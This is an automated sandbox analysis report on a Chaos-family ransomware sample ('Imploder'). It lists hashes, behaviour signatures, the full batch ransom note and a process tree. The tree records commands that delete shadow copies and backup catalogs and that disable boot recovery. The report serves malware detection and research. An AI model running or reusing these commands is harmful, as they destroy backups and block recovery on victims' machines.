Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    05-12-2024 05:40

General

  • Target

    001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe

  • Size

    417KB

  • MD5

    de41c8ac436c2ea1137e7e142fc4a9b5

  • SHA1

    df58cda16f1de9ab273009d5f988c281a6650999

  • SHA256

    001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1

  • SHA512

    bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a

  • SSDEEP

    6144:crZrqFq9eIbJdAS1nqS75MlTrPmsTg8ou0+SRBXcMf1+FnH:X7IbLqS75ozTg8odtRBtenH

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\helpme.bat

Ransom Note
@echo off reagentc /disable bcdedit.exe /delete {current} cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color f echo uuuuuuu echo uu$$$$$$$$$$$uu echo uu$$$$$$$$$$$$$$$$$uu echo u$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$' '$$$' '$$$$$$u echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' echo '$$$$$$$' '$$$$$$$' echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu echo u$$$$ $$$$$u$u$u$$$ u$$$$ echo $$$$$uu '$$$$$$$$$' uu$$$$$$ echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' timeout 1 > nul cls color 4 mode 130,30 title YOU BECAME A VICTIM OF IMPLODER RANSOMWARE! echo uuuuuuu echo uu$$$$$$$$$$$uu WOOPS, YOUR FILES HAVE BEEN ENCRYPTED! echo uu$$$$$$$$$$$$$$$$$uu All your files, like photos, videos, documents etc. have been echo u$$$$$$$$$$$$$$$$$$$$$u encrypted by Imploder. echo u$$$$$$$$$$$$$$$$$$$$$$$u echo u$$$$$$$$$$$$$$$$$$$$$$$$$u CAN I RECOVER MY FILES? echo u$$$$$$$$$$$$$$$$$$$$$$$$$u No, there is no way to decrypt your files, we didn't made this echo u$$$$$$' '$$$' '$$$$$$u ransomware for earning purpose. There is no turning back now. echo '$$$$' u$u $$$$' echo $$$u u$u u$$$ LAST WARNINGS echo $$$u u$$$u u$$$ echo '$$$$uu$$$ $$$uu$$$$' 1. DO NOT REBOOT OR SHUTDOWN THE SYSTEM, DOING THIS WILL DAMAGE echo '$$$$$$$' '$$$$$$$' YOUR COMPUTER echo u$$$$$$$u$$$$$$$u echo u$'$'$'$'$'$'$u echo uuu $$u$ $ $ $ $u$$ uuu 2. DO NOT TRY TO RENAME THE EXTENSION TO THE FILES, IT WILL echo u$$$$ $$$$$u$u$u$$$ u$$$$ NOT HELP YOU, AND IT WILL CAUSE A PERMANENT CORRUPTION echo $$$$$uu '$$$$$$$$$' uu$$$$$$ FOR THE FILES, YOU HAVE 3 DAYS TO SUBMIT THE PAYMENT, AFTER echo u$$$$$$$$$$$uu ''''' uuuu$$$$$$$$$$ THAT, WE WILL NO LONGER GIVE YOU THE DECRYPTION SOFTWARE. echo $$$$'''$$$$$$$$$$uuu uu$$$$$$$$$'''$$$' echo ''' ''$$$$$$$$$$$uu ''$''' %date% %time% echo uuuu ''$$$$$$$$$$uuu echo u$$$uuu$$$$$$$$$uu ''$$$$$$$$$$$uuu$$$ PRESS ANY KEY TO CLOSE THIS MESSAGE echo $$$$$$$$$$'''' ''$$$$$$$$$$$' echo '$$$$$' ''$$$$'' echo $$$' $$$$' pause > nul

Signatures

  • Chaos

    Ransomware family first seen in June 2021.

  • Chaos Ransomware 3 IoCs
  • Chaos family
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs
  • Renames multiple (194) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops desktop.ini file(s) 64 IoCs
  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 4 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 48 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe
    "C:\Users\Admin\AppData\Local\Temp\001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Users\Admin\AppData\Roaming\Nexus.exe
      "C:\Users\Admin\AppData\Roaming\Nexus.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Drops desktop.ini file(s)
      • Sets desktop wallpaper using registry
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2060
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2904
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:2920
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2244
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2148
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2008
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1112
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1476
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          4⤵
          • Deletes backup catalog
          PID:2824
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Roaming\helpme.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1244
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable
          4⤵
          • Drops file in System32 directory
          PID:1492
        • C:\Windows\system32\bcdedit.exe
          bcdedit.exe /delete {current}
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1056
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:2792
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:788
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1664
        • C:\Windows\system32\timeout.exe
          timeout 1
          4⤵
          • Delays execution with timeout.exe
          PID:1292
        • C:\Windows\system32\mode.com
          mode 130,30
          4⤵
            PID:2436
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2820
    • C:\Windows\system32\wbengine.exe
      "C:\Windows\system32\wbengine.exe"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1284
    • C:\Windows\System32\vdsldr.exe
      C:\Windows\System32\vdsldr.exe -Embedding
      1⤵
        PID:1892
      • C:\Windows\System32\vds.exe
        C:\Windows\System32\vds.exe
        1⤵
          PID:1976

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\helpme.bat

          Filesize

          6KB

          MD5

          7ad3c97081449794ad1c475f0fd504af

          SHA1

          080a56cfcb25c60c420247f85913c22f80c1ff27

          SHA256

          3f53c6b79e260789adb7f0f4c40ceb952d234fcc28c5c1544e85840a2dcf504c

          SHA512

          f586e8cac78d4b1a4ed9e58145fbf9f5825d3f24b5490c2342622bc7413947b660a89919a0c880131fb459ac3bf43f97ab9fb9843a38c5ede5e90929d808cfe2

        • C:\Users\Admin\AppData\Roaming\Nexus.exe

          Filesize

          417KB

          MD5

          de41c8ac436c2ea1137e7e142fc4a9b5

          SHA1

          df58cda16f1de9ab273009d5f988c281a6650999

          SHA256

          001152ed2a7d84fa5ee2d85e1740c94512e0bc22e0a500d93bfa8a135aaf46e1

          SHA512

          bf7c129bd27808591fcf15ed0d4cddfb22b5580b7f379be884abfc364503d1f69a218ae5adc991f0f20fece57c0a1c92a594d3a01129efa5b8aa7583d2d6dc5a

        • C:\Users\Admin\Desktop\ConnectPush.ppt

          Filesize

          1B

          MD5

          d1457b72c3fb323a2671125aef3eab5d

          SHA1

          5bab61eb53176449e25c2c82f172b82cb13ffb9d

          SHA256

          8a8de823d5ed3e12746a62ef169bcf372be0ca44f0a1236abc35df05d96928e1

          SHA512

          ca63c07ad35d8c9fb0c92d6146759b122d4ec5d3f67ebe2f30ddb69f9e6c9fd3bf31a5e408b08f1d4d9cd68120cced9e57f010bef3cde97653fed5470da7d1a0

        • memory/1724-0-0x000007FEF5803000-0x000007FEF5804000-memory.dmp

          Filesize

          4KB

        • memory/1724-1-0x0000000000C40000-0x0000000000CAE000-memory.dmp

          Filesize

          440KB

        • memory/1724-2-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB

        • memory/1724-11-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB

        • memory/2060-8-0x00000000010E0000-0x000000000114E000-memory.dmp

          Filesize

          440KB

        • memory/2060-9-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB

        • memory/2060-10-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB

        • memory/2060-987-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB

        • memory/2060-988-0x000007FEF5800000-0x000007FEF61EC000-memory.dmp

          Filesize

          9.9MB